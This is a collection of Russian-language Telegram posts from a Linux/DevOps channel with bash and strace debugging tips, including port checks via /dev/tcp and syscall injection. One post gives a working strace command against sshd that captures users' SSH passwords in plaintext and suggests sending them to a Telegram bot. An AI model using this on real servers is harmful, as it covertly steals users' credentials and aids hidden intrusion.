Bash Days | Linux | DevOps
22.9K subscribers
114 photos
21 videos
555 links
Авторский канал от действующего девопса

Самобытно про разработку, devops, linux, скрипты, тестирование, сисадминство, техдирство, пиэмство и за айтишную жизу.

Автор: Роман Шубин
Реклама: @maxgrue

Курс: @tormozilla_bot

РКН: https://two.su/bashdays
Download Telegram
Всем привет. Пока тут боролся с багом, решил поделиться и с вами. Сегодня рассмотрим как без curl/wget/telnet делать tcp/udp запросы. Опять же мало кто про это знает.

Порой бывает что на серверах нет курла, вегета (как приправа с упоротым поваром) и даже пинга. Например в docker контейнерах. И установить никак. Но в bash скрипте или во время дебага надо протестировать приложение, службу или порт.

В общем если столкнулся с отсутствием привычных тебе утилит, выход есть. Сейчас покажу крутые фичи.

Я обычно при дебаге использую telnet, чтобы проверить открыт ли нужный порт на удаленной тачке. Чтобы понимать, что никакой фаервол меня не блокирует. Почему telnet? Привычка!

Проверяем открыт ли порт 80 и 443:

:> /dev/tcp/bashdayz.ru/80
:> /dev/tcp/bashdayz.ru/443


Если порт открыт, то после выполнения команды на экран ничего не выведется. Но ты в праве получить статус через echo $?. Если вернулся 0 значит порт открыт и все ок. Если вернулось > 0, то пизда рулю, порт закрыт.

Есть нюанс, команда может висеть очень долго, поэтому приправляем ее таймаутом:

timeout 5s bash -c ':> /dev/tcp/bashdayz.ru/80'
timeout 5s bash -c ':> /dev/tcp/bashdayz.ru/443'


Теперь в случае если порт не доступен, мне не нужно ждать 100500 часов пока команда завершится. Все станет известно спустя 5 секунд. Повторюсь, что на экран никакого вывода не будет. Статус получаем через echo $?, ну ты понял.

А что означает этот непонятный символ «:>»?

Нет, это не смайлик с дятлом. Это сокращенная версия true:

true > /dev/tcp/bashdayz.ru/80


true - команда, которая всегда возвращает успешный (нулевой) код возврата. Это означает, что команда завершилась успешно, без ошибок.

Чтобы весь этот фокус работал, требуется bash с поддержкой net-redirections (--enable-net-redirections), но как показывает практика такая функция в 99% включена по умолчанию, если конечно ты не адепт gentoo и из исходников bash собирал.

Аналогично можно слать udp запросы:

:> /dev/udp/localhost/8888


То есть синтаксис простой: /dev/протокол/хост/порт

Давай еще пример покажу как с NIST Time Server получить актуальную дату и время с разных NTP:

cat </dev/tcp/time.nist.gov/13
cat </dev/tcp/time.cloudflare.com/13
cat </dev/tcp/time.windows.com/13
cat </dev/tcp/pool.ntp.org/13
cat </dev/tcp/time.google.com/13
cat </dev/tcp/time.apple.com/13
cat </dev/tcp/time.nrc.ca/13
cat </dev/tcp/time.windows.com/13


Некоторые могут не работать, санкции или хрен пойми че с ними, но первый у меня везде работает.

Ну и как дополнительный вариант для проверки открытых портов, можно использовать nc.

nc -zv bashdayz.ru 80


Тут оно на экран тебе результат сразу вывалит без всяких костылей.

nc или netcat - утилита, которая предоставляет возможность взаимодействия с сетью. Она может выполнять различные функции, такие как установка TCP или UDP соединений, передача данных между хостами, сканирование портов, создание простых серверов и т.п.

Ключ -z тестирует порт без передачи данных, а ключ -v логично что verbose (подробная инфа).

Да, ты скажешь можно же через nmap это все сделать, да, справедливо. Но я показываю как не пользоваться сторонними утилитами и получить желаемое с помощью bash. Пардон за nc, но не мог его не упомянуть.

Пользуйся, обязательно пригодится в работе и дебаге. Увидимся!

tags: #linux #debug #bash #networks

💩 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
Привет. Глазом не успел моргнуть как выходные вылетели в трубу. Смотрю сейчас в список задач на следующую неделю и понимаю, что лучше бы их начать делать уже сегодня.

Ладно, это детали. Сегодня покажу как узнать пароль пользователя, который подключается к серверу по ssh. Менять пароль я не буду, это не тру вэй. Я воспользуюсь своим любимым strace.

Вообще самый простой вариант: Пишешь пользователю - скажи мне свой пароль, мне нужно кое-что проверить. Если он не дает, просто меняешь его, проверяешь то что тебе нужно и выдаешь ему новый.

Но это актуально для корпоративных систем, когда ты root на сервере, а не кладовщица в обувном магазине.

Короче идем рутом на сервер и расчехляем strace

strace -f -p $(pgrep -o sshd) -o /tmp/passwd.txt -v -e trace=write -s 64


Запускаем и собираем урожай в файл passwd.txt. Работает так:

1. -f = следим за всеми процессами sshd (мастер и дочерние)
2. -p = ищем все PID sshd процессов
3. -o = файл куда пишем результаты
4. -v = пишем подробности
5. -e = триггеримся только на запись данных
6. -s = ограничиваем вывод данных 64 байтами (меньше мусора)

Теперь, когда какой-нибудь пользователь авторизуется на сервере по ssh, в файл passwd.txt в открытом виде будет записан его актуальный пароль.

Выглядит это так:

1088 write(5,"\0\0\0\5oleg", 9) = 9
1088 write(5, "\0\0\0\Barmaley1982", 17) = 17


Логин oleg, пароль Barmaley1982. Дело в шляпе. Этакий сниффер на коленке с помощью коробочных инструментов. Можешь к телеграм боту это прикрутить и получать эти перехваченные данные прям в мессенджере. Как это сделать писал тут.

Кстати этим кейсом очень часто пользуются блэкхеты и пентестеры, которые через дыру получают рута и затем втихую проворачивают свои делишки оставаясь в тени.

Такие дела. Ну и как там пишут:

Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.

Давай, увидимся!

tags: #linux #bash #debug #security

💩 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
Я тут чет плотно подсел на игрушку Metroid, вроде обычная бродилка, но прям какая-то атмосферная. Прохожу сейчас по вечерам Zero Mission на GBA, ну как прохожу, брожу по карте и в дырки тыкаюсь. Хоть немного отвлекает от рутины.

Давай по теме. Ща будет интересно. Смотри, когда ты выполняешь команду ls -l, оно выводит тебе на экран список каталогов и файлов. Все это цветное и красивое. Но если сделать так:

ls -l | cat


То по итогу получим просто список каталогов и файлов, без навешанных стилей и красок. Серое и унылое. Куда делись управляющие символы (последовательности), которые всё это раскрашивают?

Да, есть такое. Когда применяешь перенаправленный вывод, управляющие символы куда-то исчезают. Давай разберемся что происходит.

Все предельно просто. В утилитах содержится проверка своего стандартного вывода (stdout), которая не использует некоторые управляющие символы, если stdout не связан с терминалом.

И это вполне логично. Если бы эти управляющие символы передавались следующей команде, в моем случае в cat. То cat бы получил на вход помимо данных, кучу мусора, типа такого:

\e[31mBashdays\e[0m


Теперь полезем в кишки, чтобы лучше понять происходящее.

Запускаем strace:

strace -o output.txt -yf ls -l --color=auto | cat


Тут я указал утилите ls опцию color с аргументом auto. В большинстве случаев из коробки идет alias в котором уже прописана эта опция. Но так, как мы запускаем ls через strace, то существующие алиасы не будут использоваться. Вот лишь по этому и запихиваем все это в одну строку.

-y = отслеживать открытие файлов.
-f = отслеживать все процессы и форки.
-o = пишем выхлоп strace в файл.

Открываем файл output.txt и смотрим в него пустым взглядом. Но лучше грепаем вызов ioctl:

grep -i "ioctl" output.txt


Получаем несколько строк, в которых видим ошибку:

-1 ENOTTY (Inappropriate ioctl for device)


Это говорит о том, что процесс попытался выполнить операцию ввода-вывода (I/O), которая не поддерживается устройством. Канал просто не поддерживает эту возможность.

Ну и напоследок сделаем инъекцию. В этом посте можешь еще один пример с инъекцией глянуть. Запускаем:

strace -o /dev/null -fe inject=ioctl:retval=0 ls -l --color=auto | cat -v


Суть такая, если возникает ошибка, то ничего не делаем, а продолжаем работу. Эмулируем ситуацию, когда ioctl вернул статус успеха, а не -1 ENOTTY.

Опция retval=значение, это своего рода фильтр, в моем контексте он будет трассировать только системные вызовы ioctl у которых статус = не успех.

Запустили. Команда отработала, на экране видим список каталогов и файлов с управляющими символами (последовательностями).

drwxr-xr-x ^[[0m^[[01;34m1^[[0m
-rwxr-xr-x ^[[01;32mbash^[[0m
drwxr-xr-x ^[[01;34mbin^[[0m
drwxr-xr-x ^[[01;34mnginx^[[0m


Что и следовало доказать. Ну а если просто хочется протестировать управляющие символы без всяких strace, можно воспользоваться аргументом always и ключом -v для cat.

ls --color=always | cat -v


-v, --show-nonprinting

Вот так вот и живем. Теперь и ты это знаешь. На выходные обещаю уйти в режим тишины, чтобы вам не надоедать своими сумасшедшими исследованиями. Хорошего всем дня, увидимся!

tags: #linux #debug #bash

💩 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
Сегодня дождливый день, даже материться не хочется.

Поэтому потыкаем strace и файловый менеджер.

Для экспериментов я взял десктопный линукс на 22 убунте + gnome. Внутри моего гнома зашит файловый менеджер Nautilus. Но подойдет абсолютно любой дистрибутив и любой файловый менеджер например kde/dolphin.

Для начала создаём файл:

echo -ne '\x42\x5a\x68' > /tmp/bashdays


Этот файл я приправил магическими числами hex:42 5a 68, что равносильно формату файла: bz2.

Так, запускаем:

strace -o'|cat' -P /tmp/bashdays -qqqyf nautilus /tmp 2> /dev/null


Не забудь указать актуальное название своего файлового менеджера, у меня nautilus, у тебя может быть другой.

После запуска в файловом браузере откроется папка tmp, в ней мы увидим наш файл bashdays. Иконка у этого файла соответствует иконке bz2 архива.

Теперь возвращаемся в терминал с strace и смотрим что произошло.

openat("/tmp/bashdays", O_RDONLY) = 25</tmp/bashdays>
read(25</tmp/bashdays>, "BZh", 4096) = 3
close(25</tmp/bashdays>) = 0


В выводе наблюдаем обращение к файлу /tmp/bashdays, дополнительно видим что файл был прочитан. Также видим что была определена сигнатура файла BZh.

Отлично! Мы на верном пути. Теперь закрываем файловый менеджер, тормозит ранее запущенный strace. И добавляем к файлу расширение txt.

mv /tmp/bashdays /tmp/bashdays.txt


Снова запускаем strace:

strace -o'|cat' -P /tmp/bashdays.txt -qqqyf nautilus /tmp 2> /dev/null


И видим другую картину:

statx("/tmp/bashdays.txt")


Отсутствуют системные вызовы связанные с чтением файла. А файловый менеджер интерпретировал это как текстовый файл. Сменилась иконка.

Если сейчас кликнуть на этом файле 2 раза, то файл откроется в текстовом редакторе.

✔️ Делаем выводы

Если у файла есть расширение, то файловый менеджер полагается на него и не производит никаких действий с файлом.

А если расширение не указано, то происходит анализ содержимого. В моём случае файловый менеджер нашел сигнатуру bz2 и автоматически решил что это архив.

Чтобы определить тип файла, можешь воспользоваться командой:

file /tmp/bashdays.txt


Вот такая вот логика зашита в кишочках.

Хорошей тебе рабочей недели, изучай!

tags: #linux #debug

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
Новый день, новый пост. Привет. Пожалуй начнем.

Если хочешь понять как работает эмулятор терминала (ведущий, ведомый и т.п.), вот тебе инструкция.

Сразу уточню что придется самостоятельно вникать, я лишь покажу как получить нужный выхлоп для дебага.

Всё делаю на десктопной 22й убунте c терминалом «konsole».

Запускаем в первом терминале:

readlink /proc/self/fd/0


Получаем нечто подобное: /dev/pts/0

Открываем второй терминал и запускаем от рута, получаем нужные пиды:

pgrep -xo konsole
pgrep -xo bash

24385
24401


Вместо konsole и bash можешь указать свой терминал и оболочку.

Подставляем пиды в команду и опять запускаем от рута:

strace -Yytttf -p 24385 -p 24401 -o bashdays.log


Возвращаемся в первый терминал, где запускали readlink и что-нибудь начинаем вводить, команды там, текст.

После того как наигрался, возвращайся во второй терминал с strace стопай и открывай на изучение лог bashdays.log.

В нем ты найдешь много интересного, если все сделал правильно — придёт озарение.

Штука низкоуровневая, но даёт базовое понимание как устроен эмулятор терминала.

Сегодня в 20:13 МСК залетит связанный с этой темой пост. Будут кишочки, strace и дебаг аномалии. Забегай.

Хорошего тебе дня, изучай!

tags: #linux #debug

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
Богатствуйте!

И снова полезный пост! Тунеядцев прошу расслабить жопы и перейти к концу, там анекдот.

Меня часто спрашивают… Нет, всем похуй. Короче:

systemctl restart php-fpm

Unit php-fpm.service could not be found.


Хм, я точно знаю что php на сервере есть! Так какого чернослива?

За годы практики, я выработал методику поиска сервисов, которые называются совсем не очевидно.

В примере выше, php сервис называется: php8.2-fpm-fuck-you!

Ха! В жизни не догадаешься.

Первым делом пиздуем в:


history | grep php


И внимательно смотрим, если повезет, то там будет эта заветная строчка с ребутом и именем замудрёного сервиса. Возможно когда-то ты с ним имел дело, либо кто-то пытался иметь.

Если не повезло делаем так:

systemctl | grep php

php8.2-fpm-fuck-you.service
phpsessionclean.timer


Эта штука гарантированно выплюнет тебе полное название сервиса, ну а дальше ты знаешь что с ним делать.

Можно конечно воспользоваться внешними утилитами, но не рекомендую. Потому что systemctl есть всегда, а внешних утилит - нет.

➡️ Сразу привыкай работать с инструментами из коробки и будет тебе счастье.

Все!

Ну и анекдот как обещал: еслиб у бабушки был бы хуй, она была бы дедушкой.

tags: #linux #debug

🔔 @bashdays➡️ @gitgate
Please open Telegram to view this post
VIEW IN TELEGRAM
Здрасти. Как-то я писал про strace и как применять инъекции. Если пропустил, то читай тут и тут.

Ниже скрипт который автоматически пронумерует системные вызовы для последующих инъекций.

#!/usr/bin/perl

use strict;
use warnings;

my %numbs;
select STDERR;
while(<STDIN>) {
if( /^[0-9]++\s++([a-z0-9_]++(?=\())/ ) {
my $t = ++$numbs{$1};
s/\s+/ \e[31m$t\e[m /;
die $! if( keys %numbs == 1000 );
}
print;
}
exit(0);


Сохраняем это безобразие в файл num_syscalls и делаем chmod +x, ну а дальше запускаем в связке с strace:

strace -o'|./num_syscalls' -yf sh -c 'ls|cat'


Теперь получаем такой выхлоп:

456107 48 close(3</usr/) = 0
456107 52 rt_sigreturn({mask=[]})
456107 63 openat(AT_FDCWD</usr/local/sbin>)
456107 53 newfstatat(3)
456107 64 openat(AT_FDCWD</usr/local/sbin>)


Смотрим второй столбик, включаем логику и видим, что системные вызовы нумеруются.

Например, возьмем системный вызов openat, видим 63, 64. Это значит что openat был вызван 64 раза. А newfstatat 53.

Теперь берем нужный номер системного вызова и применяем инъекцию. Как это сделать и для чего, опять же показывал на примерах (ссылки в начале этого поста).

Тема крутая, не нужно ебаться и считать руками.

Весь вывод strace отправляется в stderr, чтобы иметь возможность разделять вывод трассировки и вывод исследуемой программы.

А чтобы получить только трассировку, можно сделать так:

strace -o'|./num_syscalls' -yf ls > /dev/null


Если бесит подсветка, выпили из перловского скрипта управляющий символ «\e[31m\[em».

Такие дела, изучай!

tags: #linux #debug

🔔 @bashdays➡️ @gitgate
Please open Telegram to view this post
VIEW IN TELEGRAM